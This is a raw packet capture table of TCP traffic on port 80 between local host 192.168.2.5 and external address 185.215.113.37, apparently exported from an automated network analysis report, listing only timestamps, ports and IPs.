Oct 24, 2024 02:50:13.178791046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.178824902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.178845882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.178858995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.178881884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.178905010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.179117918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.179172039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.179681063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.179735899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.180043936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.180078030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.180098057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.180120945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.180130005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.180167913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.180181980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.180202961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.180216074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.180236101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.180249929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.180273056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.180284023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.180320978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.218624115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.218672037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.218708992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.218713999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.218738079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.218744040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.218765020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.218779087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.218786001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.218817949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.218822002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.218858004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.218863010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.218899012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.218905926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.218935013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.218943119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.218978882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.219120979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.219155073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.219166040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.219198942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.219207048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.219237089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.262589931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.262685061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.262718916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.262773991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.262799978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.262799978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.262799978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.262810946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.262825012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.262846947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.262851000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.262881994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.262916088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.262952089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.263072014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.263072014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.263072014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.263072014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.295121908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.295196056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.295197010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.295233965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.295248985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.295269012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.295274973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.295305014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.295321941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.295355082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.295371056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.295406103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.295414925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.295444965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.295450926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.295489073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.295542955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.295594931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.295691013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.295723915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.295775890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.295778036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.295792103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.295813084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.295821905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.295849085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.295855045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.295891047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.296122074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.296176910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.296267033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.296298027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.296315908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.296338081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.296355963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.296399117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.296407938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.296442032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.296453953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.296477079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.296482086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.296521902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.335705996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.335758924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.335798025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.335830927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.335867882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.335887909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.335887909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.335887909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.335887909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.335902929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.335911989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.335937977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.335972071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.336007118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.336040974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.336080074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.336103916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.336103916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.336103916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.336103916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.336103916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.336127996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.336271048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.336306095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.336332083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.336339951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.336355925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.336379051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.379092932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.379158974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.379162073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.379203081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.379211903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.379240990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.379257917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.379293919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.379302979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.379333019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.379353046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.379393101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.379548073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.379582882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.379606009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.379618883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.379627943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.379662037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.411689043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.411782980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.411815882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.411839962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.411869049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.411878109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.411904097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.411912918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.411937952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.411950111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.411979914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.411995888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.412041903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.412103891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.412137985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.412172079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.412195921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.412225962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.412357092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.412410021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.412410975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.412446022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.412456989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.412481070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.412488937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.412516117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.412525892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.412556887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.412939072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.412975073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.412992954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.413008928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.413016081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.413043022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.413050890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.413086891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.413345098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.413397074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.413399935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.413433075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.413446903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.413467884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.413476944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.413506985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.452461958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.452518940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.452554941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.452584982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.452589035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.452622890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.452630997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.452656984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.452657938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.452675104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.452691078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.452701092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.452727079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.452735901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.452769041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.452857971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.452893019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.452902079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.452934027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.452976942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.453006983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.453022003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.453047037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.496042967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.496078968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.496114969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.496130943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.496135950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.496165037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.496174097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.496211052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.496217966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.496252060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.496265888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.496287107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.496292114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.496321917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.496330976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.496365070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.496608019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.496655941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.496757984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.496790886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.496800900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.496824980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.496833086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.496869087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.528629065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.528661013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.528677940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.528685093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.528695107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.528695107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.528717041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.528733969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.528767109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.528790951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.528806925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.528806925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.528824091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.528831005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.528839111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.528862000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.529305935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.529321909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.529335976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.529366016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.529391050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.529531002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.529581070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.529584885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.529597044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.529623032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.529638052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.529886007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.529934883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.529942036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.529951096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.529969931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.529983997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.530078888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.530128956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.530313969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.530328035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.530364037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.530374050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.569016933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.569048882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.569083929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.569083929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.569111109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.569124937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.569125891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.569165945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.569178104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.569215059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.569225073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.569251060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.569257021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.569286108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.569294930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.569322109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.569380999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.569412947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.569423914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.569453001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.569546938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.569580078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.569586039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.569614887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.569622993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.569648027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.569663048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.569681883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.569693089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.569722891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.609610081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.609662056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.609700918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.609787941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.609787941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.609787941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.612852097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.612889051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.612906933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.612921000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.612937927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.612955093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.613044024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.613044977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.613044977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.613044977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:13.613116026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.613132000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:13.613148928 CEST	80	49704	185.215.113.37	192.168.2.5
